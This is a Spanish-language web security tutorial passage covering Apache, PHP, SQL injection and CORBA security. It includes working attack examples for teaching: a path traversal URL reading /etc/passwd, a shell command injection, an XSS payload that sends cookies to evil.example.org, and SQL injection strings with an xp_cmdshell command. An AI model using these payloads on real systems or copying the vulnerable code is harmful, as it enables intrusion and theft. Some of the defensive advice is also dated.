Seguridad en Apache y PHP (página 2)

Partes: 1, 2

Veamos ahora lo que pasa si usamos el escalado de directorios:
Ejemplo:
www.victima.com/cgi-bin/show_text_file?filename=../../../../../etc/passwd
PHP para mostrar ficheros de texto root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync games:x:5:100:games:/usr/games:/bin/sh (… etc)

Command Execution Attack

#!/usr/bin/perl
print "Content-type:text/htmlnn";
print < < EndOfHTML;
< html>< head>< title>Print Environment< /title>< /head> < body> EndOfHTML
$HOST=$ENV{"QUERY_STRING"};
$HOST=~ s/%(..)/pack("c",hex($1))/ge;
print "Resolviendo Dominio $HOST"; system("/usr/bin/nslookup $HOST"); print "< br>< /body>< /html>";

El usuario como atacante podría introducir un carácter que fuera interpretado de una forma especial por la shell.

Ejemplos de tales caracteres son : ; (separa 2 comandos distintos) | (pipe) &, etc.
Para explotar este ejemplo utilizaremos ;. En UNIX el ; sirve para ejecutar 2 comandos distintos en una misma línea. Por ejemplo echo hola; echo mundo sacaría por pantalla hola mundo.
Veamos que sucede si introducimos un ;
http://victima.com/cgi-bin/nslookup.cgi?falsodominio;/usr/bin/id

Salida:
Resolviendo Dominio falsodominio;/usr/bin/idServer: ganimedes Address: 172.26.0.5#53 ** server can't find falsodominio: NXDOMAIN uid=33(www-data) gid=33(www-data) groups=33(www-data)

• Usarlas para determinar lo que es válido
• Lo que no encaje, es invalido
• Casi todos los lenguajes incluyen bibliotecas
• Hay ligeras diferencias
• Podemos utilizar expresiones regulares para aceptar lo que esté permitido. Ejemplo:
• El fichero debe estar en c: o d:
• El camino contiene una serie de barras invertidas y caracteres alfanuméricos
• El nombre va detrás del camino, es alfanumérico, de 32 caracteres como máximo, seguido de un punto y termina con txt, gif, jpg

Expresiones regulares
ˆ[cd]:(?:\w+)+\w{1,32}.(txt|jpg|gif)$

Asegurando PHP

Default php.ini < V.4.8
; WARNING ;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
Actualizar instalaciones
Hay mucha vulnerabilidades en el archivo de configuración (GLOBAL_VARS, SESSIONS, etc)

Configuraciones para asegurar PHP
display_errors = Off (turn on with ini_set or .htaccess)
log_errors = On
error_reporting = E_ALL (better error reporting)
session.save_path=/opt/php/session session.gc_maxlifetime=600 (ten minutes of inactivity)
safe_mode = On (enable if possible)
safe_mode_gid = On (enable if possible)

Más configuraciones
register_globals = Off
Never turn on
Too easy to write insecure code
Auto initializes variables from Get/Post/Cookie data

URL= index.php?administrator=xyz
< ?phpif (isset($administrator)){    $authorized = true;}?>

Eliminar Javascript y reducir ataques XSS
Use preg_replace() on …

javascript: onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup

Register Globals

Está deshabilitado por defecto en PHP superiores a la 4.2, no representa una vulnerabilidad pero si un riesgo

Se debería trabajar register_globals deshabilitado
< ?php
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/highly/sensitive/data.php';
}
?>
Con register_globals habilitado, esta página puede ser llamada con ?authorized=1 en la cadena de consulta y se puede hacer un bypass para este acceso.

Asegurar que el filtro de datos no puede ser saltado
Asegurar que los datos inválidos no puede interpretados como datos válidos
Identificar los datos de origen
El Método de despacho

El Método include

Filtros

Reporte de Errores
error_reporting
Esta directiva configura el nivel de reporte de errores, es recomendado habilitarlo como E_ALL tanto para ambientes de desarrollo como de producción

display_errors
Cuales errores deben ser mostrados en la pantalla. (ON: Para desarrollo OFF: para Producción)

log_errors
Qué errores deben ser escritos en un archivo de logs. Debe estar en ON

error_log
Indica la localización de los archivos de logs.. Revisar permisos!!!!

Posible Spoofing desde el procesamiento de Forms

http://www.atacame.com/form.html:
< form action="/process.php" method="post">
< select name="color">
< option value="red">red< /option>
< option value="green">green< /option>
< option value="blue">blue< /option>
< /select>
< input type="submit" />
< /form>
< form action="http://www.atacame.com/process.php"
method="post">
< input type="text" name="color" />
< input type="submit" />
< /form>

Cross-Site Scripting
? Explotar la confianza que un usuario tiene sobre un sitio

? Generalmente en WebSites que muestran datos remotos

Si se muestra el contenido que proviene desde una fuente remota son los filtros apropiados, se puede tener una vulnerabilidad de XSS.
Los datos remotos no son solo variables que vienen desde el cliente, puede serlo un banner, email, syndicated blog.

< form>
< input type="text" name="message">< br />
< input type="submit">
< /form>
< ?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}< br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Ejemplo de un message board:

Este mensaje adiciona < br/> a cualquier entrada del usuario, y anexa esto a un archivo, luego muestra el contenido del archivo
Si el usuario ingresa:
< script>
document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie
< /script>
El siguiente usuario que visite el message board
con JavaScript habilitado es redirigido a evil.example.org, y cualquier cookie asociada con el sitio actual es incluida en la cadena de consulta del URL. Aquí todo está a la imaginación del atacante

Filtrar los datos externos
Usar funciones existentes como:
htmlentities(),
strip_tags(), y utf8_decode()
Disminuir los riesgos XSS

Interacción con bases de datos….
Generalmente se utilizan conexión a SMBD usando credenciales para autenticación:
Exponer las credenciales de Acceso
< ?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>

Buena práctica utilizar módulos….
/path/to/secret-stuff, que solamente root pueda ( NO nobody) :
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
Incluir este archivo dentro del httpd.conf :
Include "/path/to/secret-stuff"
Ahora puede usarse desde PHP $_SERVER['DB_USER'] y $_SERVER['DB_PASS'] en el código.

No solamente no hay que volver a escribir el username y el password en los scripts, también el WebServer no puede leer el archivo secret-stuff, así que otros usuarios no pueden escribir scripts que lean las credenciales de acceso; obviamente estas variables no pueden quedar expuestas en phpinfo() o print_r($_SERVER).

HTTP no tiene estado, no hay relación entre peticiones sucesivas de los clientes
• Las ‘cookies’ se introdujeron para proporcionar una forma de obtenerlo
No solucionan completamente el problema:
• Tamaño limitado
• Manejadas por el cliente
• Los objetos de sesión son conjuntos de variables en el lado del servidor que mantienen información sobre el estado
• Ahora hace falta asociarlas con el usuario: el
identificador de sesión (session id)
Sesiones

• Si un usuario es capaz de conseguir el identificador de usuario de otro, tendremos problemas
• ¿Cómo?
• Adivinarla, calcularla, fuerza bruta, prueba
y error
• XSS
• Referers
• Husmeadores (packet sniffing)
Robo de sesiones

Sesiones
El identificador de la sesión puede ser una pieza importante para el atacante
Hay 3 formas de obtener este ID:
1. Prediction
2. Capture
3. Fixation
Prediction Consiste en adivinar el identificador de la sesión.

Capturar una sesión válida es el tipo más común de ataques. Muchas de los ID’s de las sesiones son propagados en cookies o variables GET

Fixation es un método simple de obtener un ID válido de sesión. Con los métodos session_start() se puede abrir la vulnerabilidad

< ?php
$msg = “Mensaje a cifrar";
$enc_msg = md5($msg);
print "hash2: $enc_msg < br />< br />";
?>
Mcrypt
Es una librería criptográfica que implementa más de 22 algoritmos de bloque

Blowfish RC2 Safer-sk64 xtea
Cast-256 RC4 Safer-sk128
DES RC4-iv Serpent
Enigma Rijndael-128 Threeway
Gost Rijndael-192 TripleDES
LOKI97 Rijndael-256 Twofish
Panama Saferplus Wake
Criptografía en PHP

< ?php

$string = “Mensaje de Prueba.";

//Llave para encriptar
$key = “Llave para encriptar";

// Algoritmo Encripción
$cipher_alg = MCRYPT_RIJNDAEL_128;

// Encrypt $string
$encrypted_string = mcrypt_encrypt($cipher_alg, $key,
$string, MCRYPT_MODE_CBC, $iv);

// Convertir a hexadecimal y mostrar la salida en un browser
print “Cadena cifrada: ".bin2hex($encrypted_string)."< p>";

?>

< ?php
$hash_alg = MHASH_SHA;
$message = “Mensaje Prueba."; $hashed_message = mhash($hash_alg, $message);
print “El mensaje hash es: ". bin2hex($hashed_message);
?>
Es una librería que provee soporte para 12 algoritmos
hashCRC32, HAVAL160,MD5,
CRC32B…. SHA1……TIGER
http://www.phpclasses.org/browse/class/20.html
Mhash

AzDGCrypt

AzDGPasswordGenerator

BmpCrypt

Crypt Class

Cryptography
Symmetric Block Cipher Using Binary XOR

ctlCipherSaber

Clases en PHP
Encrypt MD5 64

Encryption&&Decryption with Rijndael 256

SSH && SSL in PHP

Seguridad en aplicaciones Web

Aplicaciones Web
Cuando se instalen aplicaciones web libres siempre estar atento a las advertencias de seguridad
Matener un backup de las bases de datos
Estar familiarizado sobre como actualizar la aplicaciones
Usar modo seguro en lo posible

Seguridad en SQL

Ataque contra un Gestor de Bases de Datos Relacional que aprovecha la vulnerabilidad de una aplicación cliente del mismo.

Dicha vulnerabilidad consiste en permitir mandar instrucciones SQL adicionales a partir de un campo o un parámetro de entrada – por lo que se dice han sido "inyectadas".
SQL Injection

El ataque "SQL Injection" es posible dadas ciertas características del lenguaje– SQL que lo dotan de flexibilidad:
Poder embeber comentarios en una sentencia SQL
Poder escribir varias sentencias SQL juntas y ejecutarlas en bloque.
Poder realizar consultas de metadatos por medio de "tablas de sistema".

SQL Injection

Una aplicación de acceso a datos que emplea entradas de usuario como parámetros de una consulta SQL común. Es típico que este tipo de consultas sean construidas dinámicamente utilizando sentencias SQL con concatenación de variables, al estilo:
SQL Injection
"SELECT campo1, campo2,…, campoN FROM tablaXWHERE campo1=" + mValor [+ …]

Donde mValor esta dado por una entrada de usuario.

Son éstas entradas las puertas a un SQL Injection ya que, dependiendo del tipo de dato de mValor, si en lugar de la entrada esperada se coloca:
SQL Injection
a) ' Or 1=1 — b) 0 Or 1=1 — c) #01/01/01# Or 1=1 —
"SELECT campo1, campo2,…, campoN FROM tablaXWHERE campo1='' Or 1=1 — lo que siga no importa"

Lo que se consigue es de hacer válida la consulta al añadir una clausula OR que siempre será cierta (1=1) así como de obligar al intérprete SQL a omitir el resto de la sentencia SQL original al introducir el guión doble (–) que le indica que lo subsiguiente es un comentario.

El atacante puede, por ejemplo, tener acceso a la aplicación sin necesidad de contar con las credenciales adecuadas.
SQL Injection
' UNION SELECT id, name, '', 0,'' FROM sysobjects WHERE xtype='U' —
'; EXEC xp_cmdshell 'net stop sqlserver', no_output

Existen ciertos principios a considerar para proteger nuestras aplicaciones de un SQL Injection:

No confiar en la entrada del usuario.
No utilizar sentencias SQL construidas dinámicamente.
No utilizar cuentas con privilegios administrativos.
No proporcionar mayor información de la necesaria.

Protecciones SQL Injection

Escapar los Datos

Usar mysql_escape_string()
addslashes()
String s = inputSQLs = inputSQL.Replace("'", "''")s = s.Replace("[", "[[]")s = s.Replace("%", "[%]")s = s.Replace("_", "[_]")
Private Function string SafeSqlLiteral( _ByVal inputSQL As String) As StringReturn inputSQL.Replace("'", "''")End Function'…Dim safeSQL As String = SafeSqlLiteral(Login.Text)Dim myCommand As SqlDataAdapter = _New SqlDataAdapter("SELECT au_lname, au_fname " & _"FROM authors WHERE au_id = '" & safeSQL & "'", _myConnection)

Seguridad en CORBA

Al igual que todas las especificaciones de la OMG, la de CORBAsec es larga y tediosa

Un agente usuario de Corba debe presentar sus credenciales, es decir, sus atributos de seguridad:
Identificación
Privilegios

Se maneja el concepto de dominios de seguridad y de políticas de seguridad
CorbaSec : algunos principios

Otros aspectos inherentes a seguridad en sistemas distribuidos:
Seguridad al nivel de granularidad de los objetos
Delegación
Definición de dominios de seguridad que no corresponden con dominios de administración de sistemas (jerarquías, federaciones)
Interoperabilidad con otros sistemas de objetos (DCOM, EJB)
Si las aplicaciones incluyen acciones relacionadas con seguridad o no.
Otros aspectos de CORBASec

Las propuestas de la OMG para proveer seguridad en Corba se centran en definir mecanismos para el acceso seguro a objetos

La necesidad de proteger todo tipo de información (no sólo la que se provee por medio del modelo de objetos distribuidos) hace necesario pensar en protecciones más generales

Estos mecanismos de protección general afectan la
implantación y el desempeño de sistemas distribuidos
Seguridad a todo nivel

En un esquema cliente/servidor la conexión es
iniciada siempre por el cliente, usando sockets directamente, RPC, RMI, etc.

En Corba, al ser un conjunto de objetos distribuidos
interoperando libremente, el cliente y el servidor
pueden intercambiar roles dinámicamente al momento de establecer cada conexión se debe localizar el objeto referenciado, resultando en operaciones de consulta a servidores de nombres
Sistemas de objetos distribuidos

IIOP: Internet Inter ORB Protocol
IIOP = GIOP (+ CDR) + TCP/IP
Se define una estructura de localización en Internet, llamada IOR (Internet Object Reference)
Los tipos de mensaje definidos están mapeados en funciones que realizan el envío sobre TCP/IP, típicamente usando la interfaz de sockets
No se define un puerto “bien conocido” para el servidor, más bien se establece que puede haber varios servidores en el mismo “host”
IIOP puede ir codificado sobre SSL
Implementación de llamadas
CORBA: IIOP

-Especificado en CORBAsec

-Define extensiones a IIOP que lo hacen
“consciente” de aspectos de seguridad

-El protocolo incluye aspectos de autentificación basado en credenciales, para estableces asociaciones

– El tráfico se encripta en una subcapa del protocolo SECIOP llamada GSSAPI, por lo que no se requiere de SSL debajo
IIOP seguro: SECIOP

– IIOP/SSL tiene un mayor nivel de difusión,
debido a que SSL es una tecnología madura

– SECIOP permite autentificar a nivel de objetos,
SSL a nivel de conexión

– En casos en que el acceso a cada objeto va por una
conexión separada, ambos ofrecen el mismo poder

– En caso de hacer tunneling debido, por ejemplo, a restricciones de NAT, SECIOP sigue manteniendo la granularidad a nivel de objetos, SSL no
SECIOP vs. IIOP/SSL

Conclusiones
Extensión del rol de la seguridad

Revisión de las arquitecturas, APIS, Frameworks, clases, paquetes….

Conciencia del “buen” programador

Reutilización de componentes de seguridad (Autenticación, Criptografía, Certificados, Firmas …)

Entornos privativos y Libre ofrecen soporte para aplicaciones seguras.

NO olvidar manejo de memoria, pilas, buffers……